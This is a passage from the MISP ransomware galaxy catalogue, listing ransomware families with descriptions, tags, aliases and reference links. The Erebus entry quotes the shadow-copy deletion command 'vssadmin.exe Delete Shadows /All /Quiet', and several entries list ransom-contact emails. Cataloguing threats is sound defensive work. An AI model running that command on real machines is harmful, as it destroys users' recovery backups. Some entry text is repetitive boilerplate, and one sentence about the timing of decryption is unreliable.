This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Winnix Cryptor Ransomware"*

Table 6013. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html
https://twitter.com/PolarToffee/status/811940037638111232

AngryDuck Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC

The tag is: *misp-galaxy:ransomware="AngryDuck Ransomware"*

Table 6014. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html
https://twitter.com/demonslay335/status/790334746488365057

Lock93 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Lock93 Ransomware"*

Table 6015. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html
https://twitter.com/malwrhunterteam/status/789882488365678592

ASN1 Encoder Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ASN1 Encoder Ransomware"*

Table 6016. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html
https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/

Click Me Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif

The tag is: *misp-galaxy:ransomware="Click Me Ransomware"*

Table 6017. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html
https://www.youtube.com/watch?v=Xe30kV4ip8w

AiraCrop Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="AiraCrop Ransomware"*

Table 6018. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

JapanLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping

The tag is: *misp-galaxy:ransomware="JapanLocker Ransomware"*

JapanLocker Ransomware is also known as:

- SHC Ransomware
- SHCLocker
- SyNcryption

Table 6019. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/japanlocker-ransomware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/japanlocker
https://github.com/fortiguard-lion/schRansomwareDecryptor/blob/master/schRansomwarev1_decryptor.php
https://blog.fortinet.com/2016/10/19/japanlocker-an-excavation-to-its-indonesian-roots

Anubis Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2

The tag is: *misp-galaxy:ransomware="Anubis Ransomware"*

Table 6020. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html
http://nyxbone.com/malware/Anubis.html

XTPLocker 5.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="XTPLocker 5.0 Ransomware"*

Table 6021. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html

Exotic Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables

The tag is: *misp-galaxy:ransomware="Exotic Ransomware"*

Table 6022. Table References

Links
https://www.bleepingcomputer.com/news/security/eviltwins-exotic-ransomware-targets-executable-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware
https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html

APT Ransomware v.2

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED

The tag is: *misp-galaxy:ransomware="APT Ransomware v.2"*

Table 6023. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html

Windows_Security Ransonware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Windows_Security Ransonware"*

Windows_Security Ransonware is also known as:

- WS Go Ransonware
- Trojan.Encoder.6491

View relationships graph

Windows_Security Ransonware has relationships with:

- similar: misp-galaxy:ransomware="Encoder.xxxx" with estimative-language:likelihood-probability="likely"

Table 6024. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransonware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2

NCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NCrypt Ransomware"*

Table 6025. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html

Venis Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com

The tag is: *misp-galaxy:ransomware="Venis Ransomware"*

Table 6026. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html
https://twitter.com/Antelox/status/785849412635521024
http://pastebin.com/HuK99Xmj

Enigma 2 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Enigma 2 Ransomware"*

Table 6027. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html

Deadly Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017...

The tag is: *misp-galaxy:ransomware="Deadly Ransomware"*

Deadly Ransomware is also known as:

- Deadly for a Good Purpose Ransomware

Table 6028. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/deadly-ransomware.html
https://twitter.com/malwrhunterteam/status/785533373007728640

Comrade Circle Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Comrade Circle Ransomware"*

Table 6029. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html

Globe2 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Globe2 Ransomware"*

Globe2 Ransomware is also known as:

- Purge Ransomware

View relationships graph

Globe2 Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Globe3 Ransomware" with estimative-language:likelihood-probability="likely"

Table 6030. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221

Kostya Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kostya Ransomware"*

Table 6031. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/

Fs0ciety Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Fs0ciety Locker Ransomware"*

Table 6032. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.html

Erebus Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet

The tag is: *misp-galaxy:ransomware="Erebus Ransomware"*

Table 6033. Table References

Links
https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html

WannaCry

According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.

The tag is: *misp-galaxy:ransomware="WannaCry"*

WannaCry is also known as:

- WannaCrypt
- WannaCry
- WanaCrypt0r
- WCrypt
- WCRY

View relationships graph

WannaCry has relationships with:

- similar: misp-galaxy:malpedia="WannaCryptor" with estimative-language:likelihood-probability="likely"

Table 6034. Table References

Links
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168

.CryptoHasYou.

Ransomware

The tag is: *misp-galaxy:ransomware=".CryptoHasYou."*

Table 6035. Table References

Links
http://www.nyxbone.com/malware/CryptoHasYou.html

777

Ransomware

The tag is: *misp-galaxy:ransomware="777"*

777 is also known as:

- Sevleg

Table 6036. Table References

Links
https://decrypter.emsisoft.com/777

7ev3n

Ransomware

The tag is: *misp-galaxy:ransomware="7ev3n"*

7ev3n is also known as:

- 7ev3n-HONE$T

View relationships graph

7ev3n has relationships with:

- similar: misp-galaxy:malpedia="7ev3n" with estimative-language:likelihood-probability="likely"

Table 6037. Table References

Links
https://github.com/hasherezade/malware_analysis/tree/master/7ev3n
https://www.youtube.com/watch?v=RDNbH5HDO1E&feature=youtu.be
http://www.nyxbone.com/malware/7ev3n-HONE$T.html

8lock8

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="8lock8"*

Table 6038. Table References

Links
http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/

AiraCrop

Ransomware related to TeamXRat

The tag is: *misp-galaxy:ransomware="AiraCrop"*

Table 6039. Table References

Links
https://twitter.com/PolarToffee/status/796079699478900736

Al-Namrood

Ransomware

The tag is: *misp-galaxy:ransomware="Al-Namrood"*

Table 6040. Table References

Links
https://decrypter.emsisoft.com/al-namrood

ALFA Ransomware

Ransomware Made by creators of Cerber

The tag is: *misp-galaxy:ransomware="ALFA Ransomware"*

Table 6041. Table References

Links
http://www.bleepingcomputer.com/news/security/new-alfa-or-alpha-ransomware-from-the-same-devs-as-cerber/
https://news.softpedia.com/news/cerber-devs-create-new-ransomware-called-alfa-506165.shtml

Alma Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Alma Ransomware"*

Alma Ransomware is also known as:

- Alma Locker

Table 6042. Table References

Links

```
<a href="https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-4721-
ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-
ba3fb1060abe&amp;portal_id=326665&amp;redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7
CgMDLit5GTHcW9N0ztpnIE-ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-
wRZ0QVWIIkM&amp;hsutk=34612af1cd87864cf7162095872571d1&amp;utm_referrer=https%3A%
2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-
and-a-decrypter&amp;canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-
ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&amp"
class="bare">https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-
4721-ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-ba3fb1060abe&amp;
portal_id=326665&amp;
redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7CgMDLit5GTHcW9N0ztpnIE-
ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-wRZ0QVWIIkM&amp;
hsutk=34612af1cd87864cf7162095872571d1&amp;
utm_referrer=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-
new-ransomware-threat-and-a-decrypter&amp;
canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-
ransomware-threat-and-a-
decrypter&amp</a>;<em>hstc=61627571.34612af1cd87864cf7162095872571d1.1472135921345.147
2140656779.1472593507113.3&amp;</em>hssc=61627571.1.1472593507113&amp;<em>hsfp=11143
23283[<a href="https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-
4721-ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-
ba3fb1060abe&amp;portal_id=326665&amp;redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7
CgMDLit5GTHcW9N0ztpnIE-ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-
wRZ0QVWIIkM&amp;hsutk=34612af1cd87864cf7162095872571d1&amp;utm_referrer=https%3A%
2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-
and-a-decrypter&amp;canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-
ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&amp"
class="bare">https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-
4721-ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-ba3fb1060abe&amp;
portal_id=326665&amp;
redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7CgMDLit5GTHcW9N0ztpnIE-
ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
```

https://info.phishlabs.com/blog/alma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter
http://www.bleepingcomputer.com/news/security/new-alma-locker-ransomware-being-distributed-via-the-rig-exploit-kit/

Alpha Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Alpha Ransomware"*

Alpha Ransomware is also known as:

- AlphaLocker

View relationships graph

Alpha Ransomware has relationships with:

- similar: misp-galaxy:malpedia="AlphaLocker" with estimative-language:likelihood-probability="likely"

Table 6043. Table References

Links
http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip
https://www.bleepingcomputer.com/news/security/decrypted-alpha-ransomware-accepts-itunes-gift-cards-as-payment/
https://twitter.com/malwarebread/status/804714048499621888

AMBA

Ransomware Websites only amba@riseup.net

The tag is: *misp-galaxy:ransomware="AMBA"*

Table 6044. Table References

Links
https://twitter.com/benkow_/status/747813034006020096
https://www.enigmasoftware.com/ambaransomware-removal/

AngleWare

Ransomware

The tag is: *misp-galaxy:ransomware="AngleWare"*

Table 6045. Table References

Links
https://twitter.com/BleepinComputer/status/844531418474708993

Anony

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Anony"*

Anony is also known as:

- ngocanh

Table 6046. Table References

Links
https://twitter.com/struppigel/status/842047409446387714

Apocalypse

Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru

The tag is: *misp-galaxy:ransomware="Apocalypse"*

Apocalypse is also known as:

- Fabiansomeware

View relationships graph

Apocalypse has relationships with:

- similar: misp-galaxy:rat="Apocalypse" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 6047. Table References

Links
https://decrypter.emsisoft.com/apocalypse
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

ApocalypseVM

Ransomware Apocalypse ransomware version which uses VMprotect

The tag is: *misp-galaxy:ransomware="ApocalypseVM"*

Table 6048. Table References

Links
http://decrypter.emsisoft.com/download/apocalypsevm

AutoLocky

Ransomware

The tag is: *misp-galaxy:ransomware="AutoLocky"*

Table 6049. Table References

Links
https://decrypter.emsisoft.com/autolocky

Aw3s0m3Sc0t7

Ransomware

The tag is: *misp-galaxy:ransomware="Aw3s0m3Sc0t7"*

Table 6050. Table References

Links
https://twitter.com/struppigel/status/828902907668000770

BadBlock

Ransomware

The tag is: *misp-galaxy:ransomware="BadBlock"*

Table 6051. Table References

Links
https://decrypter.emsisoft.com/badblock
http://www.nyxbone.com/malware/BadBlock.html
http://www.nyxbone.com/images/articulos/malware/badblock/5.png

BaksoCrypt

Ransomware Based on my-Little-Ransomware

The tag is: *misp-galaxy:ransomware="BaksoCrypt"*

Table 6052. Table References

Links
https://twitter.com/JakubKroustek/status/760482299007922176
https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/

Bandarchor

Ransomware Files might be partially encrypted

The tag is: *misp-galaxy:ransomware="Bandarchor"*

Bandarchor is also known as:

- Rakhni

View relationships graph

Bandarchor has relationships with:

- similar: misp-galaxy:ransomware="Rakhni" with estimative-language:likelihood-probability="likely"

Table 6053. Table References

Links
https://reaqta.com/2016/03/bandarchor-ransomware-still-active/
https://www.bleepingcomputer.com/news/security/new-bandarchor-ransomware-variant-spreads-via-malvertising-on-adult-sites/

Bart

Ransomware Possible affiliations with RockLoader, Locky and Dridex

The tag is: *misp-galaxy:ransomware="Bart"*

Bart is also known as:

- BaCrypt

View relationships graph

Bart has relationships with:

- similar: misp-galaxy:malpedia="Bart" with estimative-language:likelihood-probability="likely"

Table 6054. Table References

Links
http://now.avg.com/barts-shenanigans-are-no-match-for-avg/
http://phishme.com/rockloader-downloading-new-ransomware-bart/
https://www.proofpoint.com/us/threat-insight/post/New-Bart-Ransomware-from-Threat-Actors-Spreading-Dridex-and-Locky

BitCryptor

Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.

The tag is: *misp-galaxy:ransomware="BitCryptor"*

Table 6055. Table References

Links
https://noransom.kaspersky.com/
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html

BitStak

Ransomware

The tag is: *misp-galaxy:ransomware="BitStak"*

Table 6056. Table References

Links
https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip
https://id-ransomware.blogspot.com/2016/07/ransomware-007867.html

BlackShades Crypter

Ransomware

The tag is: *misp-galaxy:ransomware="BlackShades Crypter"*

BlackShades Crypter is also known as:

- SilentShade
- BlackShades

Table 6057. Table References

Links
http://nyxbone.com/malware/BlackShades.html
https://id-ransomware.blogspot.com/2016/06/silentshade-ransomware-blackshades.html

Blocatto

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Blocatto"*

Table 6058. Table References

Links
http://www.bleepingcomputer.com/forums/t/614456/bloccato-ransomware-bloccato-help-support-leggi-questo-filetxt/

Booyah

Ransomware EXE was replaced to neutralize threat

The tag is: *misp-galaxy:ransomware="Booyah"*

Booyah is also known as:

- Salami

View relationships graph

Booyah has relationships with:

- similar: misp-galaxy:ransomware="MM Locker" with estimative-language:likelihood-probability="likely"

Brazilian

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Brazilian"*

Table 6059. Table References

Links
http://www.nyxbone.com/malware/brazilianRansom.html
http://www.nyxbone.com/images/articulos/malware/brazilianRansom/0.png

Brazilian Globe

Ransomware

The tag is: *misp-galaxy:ransomware="Brazilian Globe"*

Table 6060. Table References

Links
https://twitter.com/JakubKroustek/status/821831437884211201

BrLock

Ransomware

The tag is: *misp-galaxy:ransomware="BrLock"*

Table 6061. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered

Browlock

Ransomware no local encryption, browser only

The tag is: *misp-galaxy:ransomware="Browlock"*

BTCWare Related to / new version of CryptXXX

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare Related to / new version of CryptXXX"*

Table 6062. Table References

Links
https://twitter.com/malwrhunterteam/status/845199679340011520

Bucbi

Ransomware no file name change, no extension

The tag is: *misp-galaxy:ransomware="Bucbi"*

Table 6063. Table References

Links

http://researchcenter.paloaltonetworks.com/2016/05/unit42-bucbi-ransomware-is-back-with-a-ukrainian-makeover/
https://id-ransomware.blogspot.com/2016/05/bucbi-ransomware.html

BuyUnlockCode

Ransomware Does not delete Shadow Copies

The tag is: *misp-galaxy:ransomware="BuyUnlockCode"*

Table 6064. Table References

Links
https://id-ransomware.blogspot.com/2016/05/buyunlockcode-ransomware-rsa-1024.html

Central Security Treatment Organization

Ransomware

The tag is: *misp-galaxy:ransomware="Central Security Treatment Organization"*

View relationships graph

Central Security Treatment Organization has relationships with:

- similar: misp-galaxy:ransomware="CryLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 6065. Table References

Links
http://www.bleepingcomputer.com/forums/t/625820/central-security-treatment-organization-ransomware-help-topic-cry-extension/
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html

Cerber

Ransomware

The tag is: *misp-galaxy:ransomware="Cerber"*

Cerber is also known as:

- CRBR ENCRYPTOR

View relationships graph

Cerber has relationships with:

- similar: misp-galaxy:malpedia="Cerber" with estimative-language:likelihood-probability="likely"

Table 6066. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
https://community.rsa.com/community/products/netwitness/blog/2016/11/04/the-evolution-of-cerber-v410
https://www.bleepingcomputer.com/news/security/cerber-renames-itself-as-crbr-encryptor-to-be-a-pita/

Chimera

Ransomware

The tag is: *misp-galaxy:ransomware="Chimera"*

Chimera is also known as:

- Quimera Crypter
- Pashka

Table 6067. Table References

Links
http://www.bleepingcomputer.com/news/security/chimera-ransomware-decryption-keys-released-by-petya-devs/
https://blog.malwarebytes.org/threat-analysis/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild/

Clock

Ransomware Does not encrypt anything

The tag is: *misp-galaxy:ransomware="Clock"*

Table 6068. Table References

Links
https://twitter.com/JakubKroustek/status/794956809866018816

CoinVault

Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!

The tag is: *misp-galaxy:ransomware="CoinVault"*

Table 6069. Table References

Links
https://noransom.kaspersky.com/
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html

Coverton

Ransomware

The tag is: *misp-galaxy:ransomware="Coverton"*

Table 6070. Table References

Links
http://www.bleepingcomputer.com/news/security/paying-the-coverton-ransomware-may-not-get-your-data-back/
https://id-ransomware.blogspot.com/2016/04/coverton-ransomware.html

Cryaki

Ransomware

The tag is: *misp-galaxy:ransomware="Cryaki"*

Table 6071. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

Crybola

Ransomware

The tag is: *misp-galaxy:ransomware="Crybola"*

Table 6072. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

CryFile

Ransomware

The tag is: *misp-galaxy:ransomware="CryFile"*

Table 6073. Table References

Links
SHTODELATVAM.txt[SHTODELATVAM.txt]
Instructionaga.txt[Instructionaga.txt]
https://id-ransomware.blogspot.com/2016/06/cryfile-ransomware-100.html

CryLocker

Ransomware Identifies victim locations w/Google Maps API

The tag is: *misp-galaxy:ransomware="CryLocker"*

CryLocker is also known as:

- Cry
- CSTO
- Central Security Treatment Organization

View relationships graph

CryLocker has relationships with:

- similar: misp-galaxy:ransomware="Central Security Treatment Organization" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 6074. Table References

Links
http://www.bleepingcomputer.com/news/security/the-crylocker-ransomware-communicates-using-udp-and-stores-data-on-imgur-com/
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html

CrypMIC

Ransomware CryptXXX clone/spinoff

The tag is: *misp-galaxy:ransomware="CrypMIC"*

Table 6075. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/
https://id-ransomware.blogspot.com/2016/07/crypmic-ransomware-aes-256.html

Crypren

Ransomware

The tag is: *misp-galaxy:ransomware="Crypren"*

Table 6076. Table References

Links
https://github.com/pekeinfo/DecryptCrypren
http://www.nyxbone.com/malware/Crypren.html
http://www.nyxbone.com/images/articulos/malware/crypren/0.png

Crypt38

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt38"*

Table 6077. Table References

Links
https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip
https://blog.fortinet.com/2016/06/17/buggy-russian-ransomware-inadvertently-allows-free-decryption
https://id-ransomware.blogspot.com/2016/06/regist-crypt38-ransomware-aes-1000-15.html

Crypter

Ransomware Does not actually encrypt the files, but simply renames them

The tag is: *misp-galaxy:ransomware="Crypter"*

Table 6078. Table References

Links
https://twitter.com/jiriatvirlab/status/802554159564062722

CryptFIle2

Ransomware

The tag is: *misp-galaxy:ransomware="CryptFIle2"*

CryptFIle2 is also known as:

- Lesli

Table 6079. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html

CryptInfinite

Ransomware

The tag is: *misp-galaxy:ransomware="CryptInfinite"*

CryptInfinite is also known as:

- DecryptorMax

Table 6080. Table References

Links
https://decrypter.emsisoft.com/
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html

CryptoBit

Ransomware sekretzbel0ngt0us.KEY - do not confuse with CryptorBit.

The tag is: *misp-galaxy:ransomware="CryptoBit"*

View relationships graph

CryptoBit has relationships with:

- similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

Table 6081. Table References

Links
http://www.pandasecurity.com/mediacenter/panda-security/cryptobit/
